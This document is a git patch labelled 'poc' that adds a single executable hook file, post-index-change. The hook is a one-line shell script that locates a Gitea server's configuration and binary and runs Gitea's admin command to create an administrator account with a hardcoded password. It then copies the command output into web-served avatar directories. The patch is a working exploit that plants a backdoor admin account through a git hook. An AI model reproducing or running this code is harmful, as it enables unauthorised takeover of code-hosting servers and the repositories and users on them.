From 0fe594fd254dc66fe5ba34b50c2c287b924b1596 Mon Sep 17 00:00:00 2001 From: oidfo5erv Date: Fri, 9 Oct 2026 02:12:21 +0000 Subject: [PATCH] poc --- hooks/post-index-change | 1 + 1 file changed, 1 insertion(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..71b7f1d --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1 @@ +WD="${GITEA_WORK_DIR:-}"; if [ -z "$WD" ] || [ ! -f "$WD/custom/conf/app.ini" ]; then D="$(pwd)"; while :; do [ -f "$D/custom/conf/app.ini" ] && { WD="$D"; break; }; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; [ -f "$WD/custom/conf/app.ini" ] || WD="$(pwd)"; CFG="$WD/custom/conf/app.ini"; for _c in "$CFG" "/etc/gitea/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -f "$CFG" ] && C="--config $CFG"; if [ -x "$WD/gitea" ]; then G="$WD/gitea"; elif [ -x "$WD/gitea.exe" ]; then G="$WD/gitea.exe"; elif command -v gitea >/dev/null 2>&1; then G="$(command -v gitea)"; else G=""; fi; OUT="/tmp/oid_hook.txt"; { echo "OIDDIAG WD=$WD CFG=$CFG G=$G"; if [ -z "$G" ]; then echo "ERROR: gitea not found"; else "$G" $C admin user create --username "test-admin-lebe" --password "Test-admin-lebem9!x" --email "test-admin-lebe@t.local" --admin --must-change-password=false 2>&1; fi; echo ---DONE---; } > "$OUT" 2>&1; for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" /data/gitea/repo-avatars /data/repo-avatars; do [ -n "$d" ] && mkdir -p "$d" 2>/dev/null && cp "$OUT" "$d/oid_lebem9.dat" 2>/dev/null; done;